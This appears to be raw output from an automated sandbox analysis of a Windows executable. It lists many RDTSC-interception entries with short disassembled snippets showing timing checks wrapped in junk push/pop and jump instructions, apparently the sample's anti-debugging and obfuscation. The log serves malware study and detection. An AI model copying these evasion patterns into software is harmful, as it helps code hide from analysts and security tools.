Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC59E second address: DCC5A8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8784B3055Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC5A8 second address: DCC5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F8784D62268h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 jmp 00007F8784D6226Ch 0x00000026 push 59645AFEh 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC6E7 second address: DCC6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC6ED second address: DCC6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCC790 second address: DCC7B0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784B30556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d je 00007F8784B30558h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 xchg eax, esi 0x00000017 mov cx, dx 0x0000001a nop 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD138 second address: DCD13F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD13F second address: DCD18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8784B30565h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edi 0x00000012 push edx 0x00000013 js 00007F8784B30556h 0x00000019 pop edx 0x0000001a pop edi 0x0000001b mov eax, dword ptr [eax] 0x0000001d jc 00007F8784B3057Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8784B30568h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD18C second address: DCD19F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD19F second address: DCD1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD28C second address: DCD290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD290 second address: DCD294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCD387 second address: DCD399 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jnp 00007F8784D62266h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E0DBD5 second address: E0DBDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10369 second address: E1036F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1036F second address: E10375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10375 second address: E1037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E104EC second address: E104F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E104F0 second address: E104F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E104F4 second address: E10504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10504 second address: E10508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10508 second address: E10516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10516 second address: E1051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1051A second address: E10520 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10520 second address: E1052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1052E second address: E1054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30568h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1054B second address: E10550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E106BF second address: E106C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E106C6 second address: E106DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10821 second address: E1083D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F8784B30565h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1083D second address: E10842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E10842 second address: E10848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E172B2 second address: E172BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F8784D62266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E172BE second address: E172C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E172C2 second address: E172D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F8784D62266h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E172D2 second address: E172D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E15B86 second address: E15B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E15B8A second address: E15B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E15DE7 second address: E15E07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62271h 0x00000008 jnc 00007F8784D62266h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E15F3C second address: E15F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E15F4A second address: E15F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E160C0 second address: E160D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Dh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1626A second address: E1627A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8784D62266h 0x00000008 jo 00007F8784D62266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCCD38 second address: DCCD4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DCCD4D second address: DCCD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D62277h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E16435 second address: E16459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8784B30556h 0x0000000a popad 0x0000000b pushad 0x0000000c jns 00007F8784B30556h 0x00000012 jmp 00007F8784B3055Eh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E16FB9 second address: E16FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F8784D6226Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B13C second address: E1B150 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8784B30556h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnc 00007F8784B3055Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B150 second address: E1B154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B154 second address: E1B172 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B30568h 0x00000008 jmp 00007F8784B30560h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B2B2 second address: E1B2B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B2B6 second address: E1B2D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8784B30561h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B2D3 second address: E1B2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B40C second address: E1B42E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784B30565h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1B42E second address: E1B46E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62275h 0x00000008 jbe 00007F8784D62266h 0x0000000e jmp 00007F8784D62273h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 js 00007F8784D62266h 0x0000001c jo 00007F8784D62266h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1EC38 second address: E1EC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1E377 second address: E1E37D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1E37D second address: E1E386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1E386 second address: E1E391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E1E391 second address: E1E3B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30568h 0x00000007 push edx 0x00000008 jbe 00007F8784B30556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2637F second address: E263AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jl 00007F8784D62266h 0x00000010 jmp 00007F8784D62270h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E263AC second address: E263C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F8784B3055Fh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2444F second address: E24457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E245D8 second address: E245E5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8784B30558h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E245E5 second address: E245EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E245EB second address: E245FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jnp 00007F8784B30556h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E245FE second address: E2461A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62277h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E24910 second address: E24951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jnp 00007F8784B30556h 0x00000011 pop ecx 0x00000012 jbe 00007F8784B3055Eh 0x00000018 jnl 00007F8784B3055Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E24951 second address: E24955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E24955 second address: E24959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E24E8E second address: E24E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2512A second address: E25176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8784B30567h 0x0000000c jmp 00007F8784B3055Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 jmp 00007F8784B3055Bh 0x0000001a jo 00007F8784B30556h 0x00000020 pop ecx 0x00000021 push edi 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 jg 00007F8784B30556h 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2543E second address: E25484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 ja 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8784D62275h 0x00000014 jmp 00007F8784D6226Dh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E25484 second address: E25488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E25488 second address: E254A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E254A9 second address: E254AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E25D71 second address: E25D78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E25FF9 second address: E2600F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2600F second address: E26015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E26015 second address: E2604A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B30568h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8784B30561h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2B943 second address: E2B95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784D62278h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2B95F second address: E2B97A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8784B30556h 0x0000000a jmp 00007F8784B30561h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2B97A second address: E2B97E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2F749 second address: E2F74F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2F74F second address: E2F753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2E905 second address: E2E91F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8784B30565h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2E91F second address: E2E92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F8784D62266h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2E92E second address: E2E932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2E932 second address: E2E938 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E2E938 second address: E2E947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E354A5 second address: E354A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3562B second address: E35657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30560h 0x00000009 jmp 00007F8784B30568h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3590B second address: E3590F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3590F second address: E35915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35915 second address: E35925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 rdtsc
